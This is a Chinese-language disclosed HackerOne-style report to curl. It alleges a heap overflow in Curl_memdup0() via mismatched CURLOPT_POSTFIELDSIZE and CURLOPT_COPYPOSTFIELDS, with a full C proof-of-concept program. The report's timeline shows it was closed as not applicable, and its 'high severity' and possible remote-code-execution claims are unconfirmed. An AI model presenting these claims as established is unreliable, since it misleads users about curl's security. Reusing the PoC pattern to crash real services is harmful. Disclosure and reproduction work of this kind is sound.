堆缓冲区溢出在Curl_memdup0()中通过CURLOPT_COPYPOSTFIELDS/CURLOPT_POSTFIELDSIZE不匹配触发
摘要
本报告展示了Curl_memdup0()中的一个堆缓冲区溢出漏洞,当在CURLOPT_POSTFIELDSIZE设置为大于实际缓冲区长度的值后调用CURLOPT_COPYPOSTFIELDS时触发。
虽然这可能被视为API合约违规,但结果行为不仅仅是“未定义”,而是在广泛部署的网络库中可预测地可利用的内存损坏。实际上,POST数据长度值可能来自不可信来源,例如:
- 高层协议中的长度字段
- 代理或网关场景中用户控制的输入
- 在不同组件之间数据编组时,大小和缓冲区分别提供的情况
恶意行为者不需要是开发者即可利用此漏洞;他们只需要在使用CURLOPT_COPYPOSTFIELDS的集成中影响大小参数。
健壮、注重安全性的库应防御常见误用,特别是当误用在运行时可以轻松检测到时。在Curl_memdup0()中添加边界检查(例如,在memcpy之前验证缓冲区长度)将防止堆内存泄露、应用程序崩溃或潜在的代码执行,并且不会破坏正确的API使用。
在安全术语中:
- 错误类别:堆缓冲区溢出
- 影响:信息泄露、拒绝服务、通过堆塑形可能实现远程代码执行
- 根本原因:当大小参数大于提供的数据时,Curl_memdup0()中没有边界验证
- 修复类别:在memcpy之前进行防御性长度验证
调用者错误不应转化为安全关键库中攻击者控制的堆溢出。
时间线
- geeknik 提交报告给curl:一天前
- bagder(curl工作人员)发表评论:一天前
- geeknik 关闭报告并将状态更改为“不适用”:一天前
- geeknik 请求披露此报告:一天前
- bagder(curl工作人员)同意披露此报告:一天前
- 报告已披露:一天前
详细内容
漏洞总结
libcurl的Curl_memdup0()函数在处理CURLOPT_COPYPOSTFIELDS操作时存在堆缓冲区溢出漏洞。当libcurl内部处理POST数据,其中指定的CURLOPT_POSTFIELDSIZE超过通过CURLOPT_COPYPOSTFIELDS设置的数据的实际缓冲区大小时,会发生此漏洞。这是一个libcurl应该安全处理的合法用例,但目前导致越界内存访问。
POC环境
- libcurl版本:8.16.0-DEV(主分支)
- 编译器:带有地址清理器的Clang 20.1.8
- 操作系统:MacOS 26 Dev Beta 5
编译命令:gcc -fsanitize=address -g -o poc poc.c -lcurl
POC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#define ACTUAL_SIZE 105
#define CLAIMED_SIZE 976909154L
int main(void) {
printf("[+] libcurl Heap Buffer Overflow PoC\n");
printf("[+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction\n\n");
/* Initialize libcurl */
curl_global_init(CURL_GLOBAL_ALL);
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "[!] Failed to initialize curl\n");
return 1;
}
printf("[+] libcurl initialized successfully\n");
/* CRITICAL: Allocate buffer on HEAP, not stack */
char *heap_buffer = (char *)malloc(ACTUAL_SIZE);
if(!heap_buffer) {
fprintf(stderr, "[!] Failed to allocate heap buffer\n");
curl_easy_cleanup(curl);
return 1;
}
/* Fill with test data */
memset(heap_buffer, 'A', ACTUAL_SIZE - 1);
heap_buffer[ACTUAL_SIZE - 1] = '\0';
printf("[+] Allocated HEAP buffer: %d bytes at %p\n", ACTUAL_SIZE, (void*)heap_buffer);
printf("[+] Buffer content: \"%.50s...\"\n", heap_buffer);
/* Set a basic URL (won't actually connect) */
curl_easy_setopt(curl, CURLOPT_URL, "http://example.com");
/* Set POST mode */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
/* VULNERABILITY TRIGGER - Set size much larger than actual buffer */
printf("[+] Setting CURLOPT_POSTFIELDSIZE to: %ld bytes\n", CLAIMED_SIZE);
CURLcode res = curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, CLAIMED_SIZE);
if(res != CURLE_OK) {
fprintf(stderr, "[!] Failed to set POSTFIELDSIZE: %s\n", curl_easy_strerror(res));
free(heap_buffer);
curl_easy_cleanup(curl);
return 1;
}
printf("[+] CURLOPT_POSTFIELDSIZE set successfully\n");
/* TRIGGER THE HEAP BUFFER OVERFLOW */
printf("[+] Calling CURLOPT_COPYPOSTFIELDS with %d-byte heap buffer...\n", ACTUAL_SIZE);
printf("[!] This should trigger HEAP buffer overflow in Curl_memdup0()\n");
printf("[!] AddressSanitizer should detect out-of-bounds read on HEAP\n\n");
/* This will cause Curl_memdup0() to read CLAIMED_SIZE bytes from ACTUAL_SIZE buffer */
res = curl_easy_setopt(curl, CURLOPT_COPYPOSTFIELDS, heap_buffer);
if(res == CURLE_OK) {
printf("[?] CURLOPT_COPYPOSTFIELDS succeeded (unexpected if ASAN enabled)\n");
printf("[?] The overflow may have occurred silently\n");
} else {
printf("[!] CURLOPT_COPYPOSTFIELDS failed: %s\n", curl_easy_strerror(res));
}
/* Cleanup */
free(heap_buffer);
curl_easy_cleanup(curl);
curl_global_cleanup();
printf("[+] If you see this, the overflow was not detected\n");
printf("[!] Run with AddressSanitizer: gcc -fsanitize=address poc.c -lcurl\n");
return 0;
}
|
漏洞代码路径
- CURLOPT_POSTFIELDSIZE设置为976909154
- CURLOPT_COPYPOSTFIELDS给定105字节缓冲区
- Curl_memdup0()盲目信任大小参数
- 没有验证大小是否与实际缓冲区匹配
检测:使用地址清理器编译(-fsanitize=address)以观察堆缓冲区溢出。
影响
严重性:高
安全影响:
- 信息泄露:越界读取暴露相邻堆内存内容
- 潜在RCE:堆布局操作可能在特定场景中启用代码执行
- 拒绝服务:内存访问违规导致应用程序崩溃
- 数据损坏:堆元数据损坏影响应用程序稳定性
攻击场景:
- 接受用户控制的POST数据大小的应用程序
- 处理不可信HTTP POST参数的网络服务
- 攻击者可以影响POST数据和大小参数的任何应用程序
现实世界相关性:
这影响合法用例,其中应用程序可能:
- 根据协议要求截断或填充POST数据
- 处理具有固定大小标头的可变长度内容
- 处理具有长度前缀的网络协议
参与者
- 报告者:geeknik
- 报告对象:curl
- 报告ID:#3292590
- 严重性:高(7 ~ 8.9)
- 披露日期:2025年8月9日,UTC时间下午1点
- 弱点:缓冲区过度读取
- CVE ID:无
- 赏金:隐藏